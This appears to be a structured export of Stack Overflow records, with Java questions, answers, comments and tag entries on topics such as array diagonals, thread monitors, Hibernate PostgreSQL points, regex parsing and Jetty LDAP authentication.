accepted answer: http://stackoverflow.com/a/22238438
answer count: 1
tagged with: string
has answer: http://stackoverflow.com/a/22238438
type: AnsweredQuestion
has title: Java Inserting space after a certain character has been found in a string

http://stackoverflow.com/comment/33780640
type: Comment
comment on: http://stackoverflow.com/q/22216720
score: 0
type: QuestionComment
has text: Any big floating point number will work as well I guess; doesn't have to be infinity. Since it's not possible to store such precision, it will just store the same value instead. ie: `1e100 + 1 == 1e100`

http://stackoverflow.com/comment/44963411
comment on: http://stackoverflow.com/q/22204461
has text: I gave up and solved it using separate queries. It saved me a lot of headache.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22204140
accepted answer: http://stackoverflow.com/a/22204430
downvote count: 0
score: 1
favorite count: 0
tagged with: multidimensional-array
has title: Filling in the main diagonals in a 2D array
type: AnsweredQuestion
has body: I am trying to write a code that fills in the 2 main diagonals in an NxN matrix, for example: if N=5 (which is entered through command line), we would have a 5x5 matrix filled with zeros and the diagonals would have 2s filled in, like: 2 0 0 0 2 0 2 0 2 0 0 0 2 0 0 0 2 0 2 0 2 0 0 0 2 I wrote a code for an all-zero table, but i can't figure our how to fill in the diagonals. Looking at the case of 5x5 i would have to fill in the matrix at the following indices: #1 (0,0) (0,n-1) #2 (1,1) (1,n-2) #3 (2,2) (2,n-3) #4 (3,1) (3, n-2) #5 (4,0) (4,n-1) However, since N can be any number, i assume that first i have to find the middle row, after which i have to decrement the indices in the reverse order. I am learning Java for 2 weeks only and this one is pretty hard. My code for a zero-filled table is this: public static void main (String[] args){ int n = Integer.parseInt(args[0]); System.out.println(n); int[][] table = new int[n][]; for (int i = 0; i &lt; n; i++) { table[i] = new int[i + 1]; for (int j = 0; j &lt;= i; j++) { table[i][j] = (0); } } System.out.print(Arrays.deepToString(table)); } Obviously, this is very far from what i need to achieve, and i am not sure if it's entirely right. I would really appreciate some help.
tagged with: java
upvote count: 1
has answer: http://stackoverflow.com/a/22204430
type: Question
tagged with: arrays
possible better answer: http://stackoverflow.com/a/22204664
answer count: 2
has answer: http://stackoverflow.com/a/22204664

http://stackoverflow.com/comment/33690360
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22192593
has text: Thanks for reply..Actually we need this solution for ASP model deployment where all customers(client's) share common resources and pay's for it.I agree with you that server loads each and every application with its own class loader.But in this context..what happens when server receives request will it directly pass that request to shared app? or to intermediate app(dummy in this case) then to shared app?

http://stackoverflow.com/a/22189943
type: Answer
score: 2
has body: I want my first thread to wait until second thread completes and I am able to acheive that but in the output I am getting the exception 'java.lang.IllegalMonitorStateException'.I don't know why. The wait() method is declared in the Object class, the granddaddy of all reference types in Java. As such, you can invoke the method on any expression that results in an object reference. The javadoc says the following Causes the current thread to wait until another thread invokes the java.lang.Object.notify() method or the java.lang.Object.notifyAll() method for this object. In other words, this method behaves exactly as if it simply performs the call wait(0). The current thread must own this object's monitor. The thread releases ownership of this monitor and waits until another thread notifies threads waiting on this object's monitor to wake up either through a call to the notify method or the notifyAll method. The thread then waits until it can re-obtain ownership of the monitor and resumes execution. So if you're calling it with Thread.currentThread().wait(); but you've never synchronized (ie. got the monitor) on the object returned by Thread.currentThread() then you will get that IllegalMonitorException. As a side note, don't every synchronize on Thread instances. They have some unexpected behavior notifying themselves at the end of their life cycle. One possible solution to your problem is to provide a shared Object to both your Runnable instances. Each one attempts to synchronize on that object around some block of code. The other thread will have to wait until the one that first acquired the monitor finishes using it. However, don't rely on order here. The Thread scheduler will decide when each threads runs. Can you plz guide me any tutorial site where I can learn wait(),notify and notifyall() methods from basics. Any time you have a question like this, just google java &lt;the thing you want&gt;. In this case, you need to review the Javadoc and the Concurrency tutor…
downvote count: 0
answers question: http://stackoverflow.com/q/22189475
upvote count: 2

http://stackoverflow.com/comment/33734206
score: 2
has text: java is not same as javascript!!! :D
comment on: http://stackoverflow.com/q/22218350
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33929575
score: 0
type: Comment
type: QuestionComment
has text: @Kai Yes, The exact hex code that the hint is "made of".
comment on: http://stackoverflow.com/q/22326885

http://stackoverflow.com/q/22256402
score: 1
tagged with: java
type: Question
accepted answer: http://stackoverflow.com/a/22256493
answer count: 2
downvote count: 0
favorite count: 0
has body: I have been going through the following tutorial , and I came across this code : map.put(new String("Maine"), "Augusta"); just to experiment, I changed it to: String hold = "Maine"; map.put(hold, "Augusta"); As a result, the loop goes on forever meaning that this object does not get garbage collected as it should, because we are using WeakHashMap. I have no idea why this is. What makes new String() different from String hold in this situation ? also.. there is one more question - why does this map have to be static or else containKeys will give an error ?
has answer: http://stackoverflow.com/a/22256555
has title: new to java - relationship between new String() and weakHashMap
has answer: http://stackoverflow.com/a/22256493
possible better answer: http://stackoverflow.com/a/22256555
upvote count: 1
type: AnsweredQuestion

http://stackoverflow.com/q/22184527
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22184577
type: Question
answer count: 2
score: 0
tagged with: java
has answer: http://stackoverflow.com/a/22185230
has body: The player is supposed to input a spell from the series and if it is in the array, the computer will output a different spell in the array. If it is not inside the array, it will print the first spell in the array and so on. I tested this with just 4 spells, but it always outputs "Crucio". I do not know why this is happening! Please help. This is what I have so far: public class HarryPotterGame { public static void main(String[] args) { System.out.println("---------------------------------------"); System.out.println("Welcome to the Harry Potter Spell Game!"); System.out.println("---------------------------------------"); String[] Spells; Spells = new String[] {"Accio","AvadaKedavra","Crucio","Imperio"}; System.out.println("Your turn. Do not use spaces!"); Scanner sn = new Scanner(System.in); String Spell1 = sn.nextLine(); int i = 0; while(Spells[i] != Spell1){ if (i == 4){ System.out.println("Accio"); } i++; break; } System.out.println(Spells[i+1]);
has title: I'm trying to make a Harry Potter spell game
tagged with: arrays

http://stackoverflow.com/comment/33813829
comment on: http://stackoverflow.com/q/22215751
type: Comment
type: QuestionComment
has text: Unless and until you post your stack trace as requested your question cannot be answered. I would also like to see the relevant output when run with -Djava.security.debug=access,failure.
score: 1

http://stackoverflow.com/comment/33762775
type: AnswerComment
type: Comment
has text: Thanks, Paul! Would this all just replace my next() method?
comment on: http://stackoverflow.com/a/22233620
score: 0

http://stackoverflow.com/comment/33839169
comment on: http://stackoverflow.com/a/22275940
type: AnswerComment
has text: Why use a regexp when scanner.hasNextInt() does that for you?
type: Comment
score: 1

http://stackoverflow.com/a/22325113
has body: Here is the implementation of SparceMatrix Multiplication Vector class for sparse representation: public class SparseVector { private HashST&lt;Integer, Double&gt; st; public SparseVector() { st = new HashST&lt;Integer, Double&gt;(); } public int size() { return st.size(); } public void put(int i, double x) { st.put(i, x); } public double get(int i) { if (!st.contains(i)) return 0.0; else return st.get(i); } public double dot(double[] that) { double sum = 0.0; for (int i : st.keys()) sum += that[i] * this.get(i); return sum; } } Main method/Calling code: SparseVector[] a; a = new SparseVector[N]; double[] x = new double[N]; double[] b = new double[N]; // Initialize a[] and x[]. ... for (int i = 0; i &lt; N; i++) b[i] = a[i].dot(x);
type: Answer
answers question: http://stackoverflow.com/q/22324847
score: 0

command
tags question: http://stackoverflow.com/q/22318310
tag name: command
tags question: http://stackoverflow.com/q/22309005
type: Tag
tags question: http://stackoverflow.com/q/22287288

http://stackoverflow.com/a/22196337
type: Answer
has comment: http://stackoverflow.com/comment/33700613
has body: First you have to import your library project from: File --> Import --> Existing code from the workspace. After that for any project for which you want that library: Right Click on your project --> Properties --> on Left side select Android. Then click on the add button. Then the list of your library projects will appear. Choose a project from the list and then click on Apply and then OK.
score: 0
answers question: http://stackoverflow.com/q/22196115
has comment: http://stackoverflow.com/comment/33727718

http://stackoverflow.com/comment/42172142
score: 0
type: AnswerComment
has text: Thanks for detailed answer, especially the correct syntax in the custom binding.
type: Comment
comment on: http://stackoverflow.com/a/26799129

http://stackoverflow.com/q/22186506
upvote count: 21
has answer: http://stackoverflow.com/a/27505431
possible better answer: http://stackoverflow.com/a/27535158
has answer: http://stackoverflow.com/a/27508639
tagged with: java
tagged with: hibernate
has answer: http://stackoverflow.com/a/27535158
answer count: 5
has body: Is there a way to map Point column to Java entity field? I tried Hibernate Spatial 4.0, but seems that it doesn't work with pure PostgreSQL without PostGIS. Here is point field definition: import com.vividsolutions.jts.geom.Point; ... @Column(columnDefinition = "point") @Type(type = "org.hibernate.spatial.GeometryType") private Point location; Dialect in persistence.xml: &lt;property name="hibernate.dialect" value="org.hibernate.spatial.dialect.postgis.PostgisDialect" /&gt; And when I try to persist this entity, exception is thrown: org.postgresql.util.PSQLException: Unknown type geometry. at org.postgresql.jdbc2.AbstractJdbc2Statement.setPGobject(AbstractJdbc2Statement.java:1603) at org.postgresql.jdbc2.AbstractJdbc2Statement.setObject(AbstractJdbc2Statement.java:1795) at org.postgresql.jdbc3g.AbstractJdbc3gStatement.setObject(AbstractJdbc3gStatement.java:37) at org.postgresql.jdbc4.AbstractJdbc4Statement.setObject(AbstractJdbc4Statement.java:46) at org.hibernate.spatial.dialect.AbstractJTSGeometryValueBinder.bind(AbstractJTSGeometryValueBinder.java:48) at org.hibernate.spatial.dialect.AbstractJTSGeometryValueBinder.bind(AbstractJTSGeometryValueBinder.java:39) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:280) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:275) at org.hibernate.type.AbstractSingleColumnStandardBasicType.nullSafeSet(AbstractSingleColumnStandardBasicType.java:57) So seems that it tries to persist value as Geometry type of PostGIS. But I want to use just simple Point.
has title: Use Point type with PostgreSQL and JPA/Hibernate
type: AnsweredQuestion
tagged with: jpa
linked to: http://stackoverflow.com/q/19754562
downvote count: 0
has answer: http://stackoverflow.com/a/22456361
favorite count: 0
tagged with: postgresql
type: Question
score: 21
has answer: http://stackoverflow.com/a/65064451
accepted answer: http://stackoverflow.com/a/22456361

http://stackoverflow.com/comment/33817135
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22263385
score: 0
has text: this is not the code style that i use . i dont know how to indent here for stack over flow so i just use one line gap between statements other wise i indent the code quite well .still i am in a learning process like everyone .

http://stackoverflow.com/q/22282843
score: 0
has comment: http://stackoverflow.com/comment/33852672
tagged with: wrapper
answer count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/22283066
type: AnsweredQuestion
has body: I'm making a programm which allow you to instanciate a class with a window. So there are fields, and when I want to convert in the good type I do like this : if (f.getType() == int.class) m.invoke(res, Integer.parseInt(f.getText())); else if (f.getType() == double.class) m.invoke(res, Double.parseDouble(f.getText())); else if (f.getType() == boolean.class) m.invoke(res, Boolean.parseBoolean(f.getText())); .... Is there a way to do it with only one line? I've got to check every primitive type otherwise.
tagged with: java
linked to: http://stackoverflow.com/q/7082997
has comment: http://stackoverflow.com/comment/33851309
upvote count: 1
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/22283066
has title: Calling the proper wrapper

http://stackoverflow.com/comment/33695194
comment on: http://stackoverflow.com/q/22196892
has text: What is `DatatypeConverter`? Possibly it has a reverse method?
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/comment/33906811
has text: I fixed it! Thank you very much.. You were right, my button wasn't in the right xml file. Thank you again :)
comment on: http://stackoverflow.com/a/22312975
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/22205469
score: 0
has comment: http://stackoverflow.com/comment/33711219
has comment: http://stackoverflow.com/comment/33756888
has title: Focus on the frame lost
answer count: 0
type: UnansweredQuestion
tagged with: swing
has body: I'm trying to create a portal to add users. If I enter any different values for password and confirm password, it will show a dialog box saying that both should be same. When I exit the dialog box I want to enter the details again but I'm losing the focus on the complete frame , I'm not able to even close the frame. Please let me know what would be the problem.
tagged with: java
type: Question

http://stackoverflow.com/a/22216819
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/22216661
has comment: http://stackoverflow.com/comment/33732110
score: 1
accepted answer of: http://stackoverflow.com/q/22216661
has body: See following changes to both the regex and the captured groups: String input = "2014&lt;&gt;10.100.2.3&lt;&gt;&lt;189&gt;date=2014-01-16,time=11:26:14,devname=B3909601569,devid=B3909601569,logid=000013,type=traffic,srcip=192.168.192.123,srcport=2072,srcintf=port2,dstip=10.180.1.105,dstport=3206,dstintf=port1,sessionid=121543,status=close,policyid=196,service=MYSQL,proto=6,duration=10,sentbyte=3910,rcvdbyte=175085,sentpkt=74,rcvdpkt=132"; Pattern p = Pattern.compile("srcport=(\\d+).*?dstport=(\\d+)"); // update regex Matcher m = p.matcher(input); StringBuffer result=new StringBuffer(); while (m.find()) { System.out.println("Srcport: " + m.group(1)); //print groups 1 + 2 System.out.println("Dstport: " + m.group(2)); } System.out.println(result);
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/117079126
type: AnswerComment
comment on: http://stackoverflow.com/a/22321671
type: Comment
has text: @scottxiao no per-invocation security check, no autoboxing of primitive values, no array creation for the arguments, depending on the circumstances, better JVM optimizations. But note that this is not guaranteed. The topic of this Q&A isn’t even reflection vs mh, it’s about a failure of mh to deliver high performance (affecting older JVMs only). For your question, [this answer](https://stackoverflow.com/a/19563000/2711488) might fit better. It shows that, depending on the circumstances, reflection can be as fast as mh.
score: 2

http://stackoverflow.com/q/22182330
accepted answer: http://stackoverflow.com/a/22183355
type: AnsweredQuestion
tagged with: performance
has comment: http://stackoverflow.com/comment/33673028
answer count: 1
favorite count: 0
has body: I'm running into a strange performance issue related to switch when tried to parse a json string. please refer to the sample code below: public class SwitchTest { private static final String jsonString = "{\"person\":[{\"id\":-2147483648,\"firstName\":\"4809981875dc43ddb6d1add0b1eec75c&gt;&lt;\\\"&lt;//&gt; ' \\\"\",\"lastName\":\"4809981875dc43ddb6d1add0b1eec75c\",\"address1\":\"4809981875dc43ddb6d1add0b1eec75c\",\"postCode\":\"4809981875dc43ddb6d1add0b1eec75c\",\"city\":\"4809981875dc43ddb6d1add0b1eec75c\",\"country\":\"4809981875dc43ddb6d1add0b1eec75c\",\"birthday\":\"2014-03-04T00:12:06Z\",\"active\":true},{\"id\":-2147483648,\"firstName\":\"3b21ba46239b484ea1d1b7d9dbee68c0&gt;&lt;\\\"&lt;//&gt; ' \\\"\",\"lastName\":\"3b21ba46239b484ea1d1b7d9dbee68c0\",\"address1\":\"3b21ba46239b484ea1d1b7d9dbee68c0\",\"postCode\":\"3b21ba46239b484ea1d1b7d9dbee68c0\",\"city\":\"3b21ba46239b484ea1d1b7d9dbee68c0\",\"country\":\"3b21ba46239b484ea1d1b7d9dbee68c0\",\"birthday\":\"2014-03-04T00:12:06Z\",\"active\":true},{\"id\":-2147483648,\"firstName\":\"c953f8ebaaae4424a656c819b8149376&gt;&lt;\\\"&lt;//&gt; ' \\\"\",\"lastName\":\"c953f8ebaaae4424a656c819b8149376\",\"address1\":\"c953f8ebaaae4424a656c819b8149376\",\"postCode\":\"c953f8ebaaae4424a656c819b8149376\",\"city\":\"c953f8ebaaae4424a656c819b8149376\",\"country\":\"c953f8ebaaae4424a656c819b8149376\",\"birthday\":\"2014-03-04T00:12:06Z\",\"active\":true},{\"id\":-2147483648,\"firstName\":\"d75587f037324efaafc88de095416221&gt;&lt;\\\"&lt;//&gt; ' \\\"\",\"lastName\":\"d75587f037324efaafc88de095416221\",\"address1\":\"d75587f037324efaafc88de095416221\",\"postCode\":\"d75587f037324efaafc88de095416221\",\"city\":\"d75587f037324efaafc88de095416221\",\"country\":\"d75587f037324efaafc88de095416221\",\"birthday\":\"2014-03-04T00:12:06Z\",\"active\":true},{\"id\":-2147483648,\"firstName\":\"e8291a6104094e94b81daf4cf1852efe&gt;&lt;\\\"&lt;//&gt; ' \\\"\",\"lastName\":\"e8291a6104094e94b81daf4cf1852efe\",\"address1\":\"e8291a6104094e94b…
has answer: http://stackoverflow.com/a/22183355
score: 2
upvote count: 3
tagged with: java
has comment: http://stackoverflow.com/comment/33670007
downvote count: 1
has comment: http://stackoverflow.com/comment/33671929
tagged with: switch-statement
type: Question
has title: java switch performance optimize

http://stackoverflow.com/comment/33843931
type: Comment
type: QuestionComment
has text: Glad to help, even if it wasn't much. That was the other thing that crossed my mind - different `Bus` instances - registering one instance in `MyActivity` and posting to different instance in `MyFragment`. But you are sourcing the `Bus` here using the `BusProvider` to produce a singleton, so that doesn't seem to be the case either. Good luck.
comment on: http://stackoverflow.com/q/22278135
score: 0

http://stackoverflow.com/q/22303032
score: 6
type: AnsweredQuestion
tagged with: java
tagged with: hibernate
has body: i have to upgrade from Hibernate 4.2.3 to Hibernate 4.3.4 to test some JPA 2.1 Spec. i have only change this line of code Previous line: final org.hibernate.service.ServiceRegistry serviceRegistry = new org.hibernate.service.ServiceRegistryBuilder().applySettings(hibConfiguration.getProperties()).buildServiceRegistry(); new Added code line final org.hibernate.service.ServiceRegistry serviceRegistry = new org.hibernate.boot.registry.StandardServiceRegistryBuilder().applySettings(hibConfiguration.getProperties()).build(); the problem i have a main method just for test some Criteria API but the main method never finish with the latest Hibernate Version i have retrieve the running threads and and with the latest version the threads are as follow. ThreadList: [threadID:]2 [threadName:] Reference Handler [isDaemon:] true [isAlive:] true [threadID:]3 [threadName:] Finalizer [isDaemon:] true [isAlive:] true [threadID:]4 [threadName:] Signal Dispatcher [isDaemon:] true [isAlive:] true [threadID:]5 [threadName:] Attach Listener [isDaemon:] true [isAlive:] true [threadID:]10 [threadName:] Abandoned connection cleanup thread [isDaemon:] true [isAlive:] true [threadID:]11 [threadName:] pool-1-thread-1 [isDaemon:] false [isAlive:] true [threadID:]1 [threadName:] main [isDaemon:] false [isAlive:] true comparing with the previous version this thread is the new one. [threadID:]11 [threadName:] pool-1-thread-1 [isDaemon:] false [isAlive:] true is a not a daemon according to the spec. No, it is not. The virtual machine terminates if the last non-daemon thread has finished. It doesn't have to be the main thread. i think this thread will not finish at least in 5 minutes. the problem arises only creating the HibernateSessionFactory. public static void main(String[] args) { HibernateHandler handler = new HibernateHandler(true);//creates the HibernateSessionFactory return;//JVM not finish at this point } i want my JVM terminates with the main method finish.. what i am doing wrong..
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/22309263
tagged with: jpa
upvote count: 6
possible better answer: http://stackoverflow.com/a/22303580
has title: Upgrade To Hibernate 4.3.4 main method never terminates JVM not finish
has answer: http://stackoverflow.com/a/22309263
has answer: http://stackoverflow.com/a/22303580
favorite count: 0
downvote count: 0
tagged with: multithreading

digital-signature
tags question: http://stackoverflow.com/q/22226374
tags question: http://stackoverflow.com/q/22180807
tags question: http://stackoverflow.com/q/22237023
tag name: digital-signature
tags question: http://stackoverflow.com/q/22189077
type: Tag

http://stackoverflow.com/comment/34850835
score: 0
type: Comment
has text: @rapx one thing more that if a line contain searchword like line number 10 cotain search word then in while loop i want to serach anoter word from line number 5 to 15 another word how can i do this??
comment on: http://stackoverflow.com/a/22207505
type: AnswerComment

bloom-filter
type: Tag
tags question: http://stackoverflow.com/q/22247367
tag name: bloom-filter

http://stackoverflow.com/a/22220978
type: Answer
has body: Try this timeHours = Integer.parseInt(hours.getText().toString()); instead of timeHours = Int.parseInt(hours.getText().toString());
accepted answer of: http://stackoverflow.com/q/22220937
upvote count: 3
has comment: http://stackoverflow.com/comment/33742243
score: 3
answers question: http://stackoverflow.com/q/22220937
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/33902405
comment on: http://stackoverflow.com/q/22303755
score: 0
type: Comment
type: QuestionComment
has text: Baz, which approach do you use and can you send/post source? I Chhris Ewland's approach, but could not get past the missing SWT source, when executing the "display = Display.getDefault();" line. I had to add one of the SWT.jar files to the project libraries to get to build. As far as the other method with a jar in jar approach, I am not following how to build the two jars in Eclipse. Eclipse adds all my classes automatically, so not sure why I would need to add that again. An example would help.

http://stackoverflow.com/q/22288096
has comment: http://stackoverflow.com/comment/33861165
has body: I have a string in an inconvenient format. Here is an example: (Air Fresheners,17)-&gt;(Chocolate Chips,14)-&gt;(Juice-Frozen,24) I need to go through this string and extract only the first items in the parenthesis. So using the snippet from above as input, I would like my code to return: Air Fresheners Chocolate Chips Juice-Frozen Note that some of the items have - in the name of the item. These should be kept and included in the final output. I was trying to use: Scanner.useDelimiter(insert regex here) ...but I am not having any luck. Other methods of accomplishing the task are fine, but please keep it relatively simple.
has title: scanner.useDelimiter() regex java
tagged with: regex
tagged with: delimiter
type: AnsweredQuestion
tagged with: java.util.scanner
has answer: http://stackoverflow.com/a/22288181
answer count: 5
has answer: http://stackoverflow.com/a/22288553
has answer: http://stackoverflow.com/a/37544470
upvote count: 1
type: Question
possible better answer: http://stackoverflow.com/a/37544470
score: 1
tagged with: java
has answer: http://stackoverflow.com/a/40625325
accepted answer: http://stackoverflow.com/a/22288553
downvote count: 0
has answer: http://stackoverflow.com/a/22288258
has comment: http://stackoverflow.com/comment/33861046
favorite count: 0

http://stackoverflow.com/comment/33847141
type: Comment
has text: I know my code is causing NullPointerException but I can't identity the source of it. I believe the error is in the bean but everything looks normal.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22279334

http://stackoverflow.com/q/22238306
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22238468
tagged with: recursion
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22238461
has answer: http://stackoverflow.com/a/22238566
score: 0
answer count: 3
has title: error in recursively finding subset sum java
has body: I get a recursion error when this runs. And the parameters should not be changed n is the size of a subset that contains the sum (goal) needed: so set[] = {5,6,9,-1,4,2} n = 3 sum = 10 would equate to true because of the subset of size 3 that sums to 10 is {9,-1,2} public static boolean isSubsetSum(int[] set, int n, int sum) { int[] copy = new int[set.length - 1]; System.arraycopy(set, 0, copy, 0, set.length - 1); // Base Cases if (sum == 0 &amp;&amp; n == 0) return true; if (set.length == 0) // fixed base case. return false; if (set[set.length - 1] &gt; sum) { return isSubsetSum(copy, n, sum); } return isSubsetSum(copy, n, sum) || isSubsetSum(copy, n-1, sum - set[set.length-1]); }

http://stackoverflow.com/a/22242407
score: 3
downvote count: 0
has body: Please do , unregisterReceiver(netReceiver); On your onPause() method.
answers question: http://stackoverflow.com/q/22239889
upvote count: 3
has comment: http://stackoverflow.com/comment/33779490
type: Answer

http://stackoverflow.com/a/22247822
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/33790251
accepted answer of: http://stackoverflow.com/q/22246205
has body: There is no shortcut: you have to browse recursively your instances and check their fields. You could use a custom version of the browser shown in How to list all properties exposed by a Java class and its ancestors in Eclipse?. Anyway that approach would make sense if you are working with esoteric legacy code, whereas if you are writing new classes is better enforce all not-nulls in constructor of factory methods.
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33792181
answers question: http://stackoverflow.com/q/22246205
has comment: http://stackoverflow.com/comment/33792499
type: Answer

http://stackoverflow.com/a/22302829
has body: Try SELECT DATEDIFF(HOUR,start,end) http://msdn.microsoft.com/en-us/library/ms189794%28v=sql.90%29.aspx Hope this helps
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22302689

http://stackoverflow.com/comment/33706447
type: Comment
type: QuestionComment
has text: The pillsInBottle value is just added to the pillsInBottle value of the other FractionBottle. And the myFraction value of this FractionBottle is added to the myFraction value of the other FractionBottle. THe whole and fraction parts are not combined. Thank you so much! @user3384292
comment on: http://stackoverflow.com/q/22202815
score: 0

http://stackoverflow.com/comment/33698030
score: 0
type: AnswerComment
has text: Yes, that is the number of threads I want to set to nthreads. The problem is that `Number of threads equals to 1!` keeps popping up if I put `8` in program arguments.
type: Comment
comment on: http://stackoverflow.com/a/22198224

http://stackoverflow.com/a/22175789
type: Answer
has body: You have to use more delimiters in one split. Like this: String[]wordSplit = txtInput.split(" |\\-");
answers question: http://stackoverflow.com/q/22175657
score: 0

http://stackoverflow.com/comment/33843521
has text: Then create a setter and use it.
score: 1
comment on: http://stackoverflow.com/q/22278411
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22278613
downvote count: 1
answers question: http://stackoverflow.com/q/22278479
has comment: http://stackoverflow.com/comment/33852521
has comment: http://stackoverflow.com/comment/33881278
has body: There is an option to select whether to generate MainActivity and activity_main.xml. Are you sure that you have selected those ? Make sure to select that. Without that, my project looks the same as yours:
has comment: http://stackoverflow.com/comment/33843881
has comment: http://stackoverflow.com/comment/33881266
score: 0
type: Answer
upvote count: 1

http://stackoverflow.com/comment/33724636
comment on: http://stackoverflow.com/q/22194077
type: Comment
type: QuestionComment
has text: @Rob Kielty, I already update question. Any ideas? Please help me out.
score: 0

http://stackoverflow.com/a/22241155
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22239871
type: Answer
has comment: http://stackoverflow.com/comment/33777508
has body: You have asked four questions about this maze-recursion puzzle in the past five hours, which attests to how complicated it is. This whole concept a 1/0 maze-grid has intrigued me, and I've come up with a class that should make it a whole lot simpler. If you're required to do recursion, then it will not be useful to you, but if you can use it, it eliminates much of its complexity. There are two classes, and an Enum. First, the enum, which defines the direction you want to move in the grid and determines the new indexes, one-at-a-time, based on its movement. enum Direction { UP(-1, 0), DOWN(1, 0), LEFT(0, -1), RIGHT(0, 1); private final int rowSteps; private final int colSteps; private Direction(int rowSteps, int colSteps) { this.rowSteps = rowSteps; this.colSteps = colSteps; } public int getNewRowIdx(int currentRowIdx) { return (currentRowIdx + getRowSteps()); } public int getNewColIdx(int currentColIdx) { return (currentColIdx + getColSteps()); } public int getRowSteps() { return rowSteps; } public int getColSteps() { return colSteps; } }; The main class is called MazePosition (below). First you set the maze-grid double-array into it, via its int[][] constructor, and store that instance statically: private static final MazePosition MAZE_HOLDER = new MazePosition(MAZE_GRID); (This step could be designed better, but it works.) After setting the maze-grid (which is a one-time-only thing, per-execution), then the x/y constructor is used to declare an initial position: MazePosition pos = new MazePosition(0, 0); And after that, just move as necessary: pos = pos.getNeighbor(Direction.RIGHT); pos = pos.getNeighbor(Direction.RIGHT); pos = pos.getNeighbor(Direction.DOWN); ... The value of each position is retrieved by pos.getValue() or pos.isPath()--I think 1 is a "wall" and 0 is the "path". (As an aside: The huge 2d-array should really contain one-bit booleans, instead of 4-byte ints, but looking at the array's code makes sense with ints, and doesn't with booleans... Note th…
downvote count: 1
score: 3
upvote count: 4
accepted answer of: http://stackoverflow.com/q/22239871

http://stackoverflow.com/q/22181866
has comment: http://stackoverflow.com/comment/33669208
has answer: http://stackoverflow.com/a/22181999
tagged with: extend
type: AnsweredQuestion
downvote count: 0
tagged with: java
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/22181999
accepted answer: http://stackoverflow.com/a/22181950
tagged with: inheritance
score: 4
has title: Inheritance and private variables
has answer: http://stackoverflow.com/a/22181950
upvote count: 4
has body: In the HourlyEmployee and SalariedEmployee sub-classes we call super() to pass "name" to the base class constructor. I have two questions: Where does the variable name come from, is this a typo for the aName variable? How does calling setSalary() work in those sub-classes? Does extending the Employee class gives us a copy of the setSalary() method but then inside the method there is aSalary=salary; where salary is not inherited because it is private OR does inheritance simply let us use the setSalary() method from the base class which is why using super() to pass the name would make sense. public class Employee { private String name; private double salary; public Employee(String aName) { name = aName; } public void setSalary(double aSalary) { salary = aSalary; } public String getName() { return name; } public double getSalary() { return salary; } public double getWeeklySalary() { return salary/52; } } public class HourlyEmployee extends Employee { public HourlyEmployee(String aName, double anHourlySalary) { super(name); setSalary(anHourlySalary*40*52); } } public class SalariedEmployee extends Employee { public SalariedEmployee(String aName, double anAnnualSalary) { super(name); setSalary(anAnnualSalary); } }
favorite count: 0

http://stackoverflow.com/comment/33909413
score: 0
has text: Your question is somewhat unclear because "last bit set by me" isn't conceptually the same as "number of elements added to it"; but in either case, one of the above should do the trick.
type: Comment
comment on: http://stackoverflow.com/a/22314938
type: AnswerComment

http://stackoverflow.com/q/22297052
has title: AcceptHeaderLocaleResolver error
tagged with: spring-mvc
tagged with: java
type: Question
tagged with: locale
has answer: http://stackoverflow.com/a/22297766
score: 0
tagged with: exception
answer count: 1
has body: I have defined "localeResolver" bean in Spring configuration file as <property name="defaultLocale" value="language" /> User hits this URL to change locale /setLocale.do?language=fr But I am getting exception java.lang.UnsupportedOperationException: before this method is called. In order to solve it I have to use SessionLocaleResolver Is there anyway that I don't have to use SessionLocaleResolver.
type: UnansweredQuestion
tagged with: spring

http://stackoverflow.com/comment/50845884
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/22184521
has text: @rample since it is a simply typographical error we will most likely close this question. Look at [the help center](http://stackoverflow.com/help) to figure out how to better improve your questions. Welcome to the community!
type: Comment

http://stackoverflow.com/q/22326795
type: Question
has answer: http://stackoverflow.com/a/22344747
tagged with: java
tagged with: active-directory
score: 4
has title: Jetty ldap authentication
upvote count: 4
downvote count: 0
answer count: 1
favorite count: 0
tagged with: ldap
type: UnansweredQuestion
tagged with: jaas
tagged with: jetty
has body: I am trying to set up Jetty 9.1 with ldap (active directory) authentication. I have googled like crazy without finding the answers I need... I extended the included demo-app to use ldap. When visitng the page I get the following message: Problem accessing /test-jaas/auth.html. Reason: !role . In the console / logs I see "Found User?: true", so the user is found but it is the role matching that is causing problems. Hope someone can give me some pointers... Here are my configurations: test-jaas.xml: Test JAAS Realm xyz login.conf: xyz { org.eclipse.jetty.jaas.spi.LdapLoginModule required debug="true" contextFactory="com.sun.jndi.ldap.LdapCtxFactory" hostname="host.domain" port="389" bindDn="CN=xxx,OU=xxx,..." bindPassword="xxxx" authenticationMethod="simple" forceBindingLogin="true" userBaseDn="ou=xxxx,..." userRdnAttribute="cn" userIdAttribute="userPrincipalName" userPasswordAttribute="unicodePwd" userObjectClass="user" roleBaseDn="ou=xxxx,..." roleNameAttribute="cn" roleMemberAttribute="userPrincipalName" roleObjectClass="group"; }; web.xml contains these: <web-resource-collection> JAAS Role /auth.html </web-resource-collection> user * ** FORM Test JAAS Realm /login.html /authfail.html user * **

http://stackoverflow.com/comment/33864981
type: QuestionComment
score: 0
has text: What is at line 119 and 123?
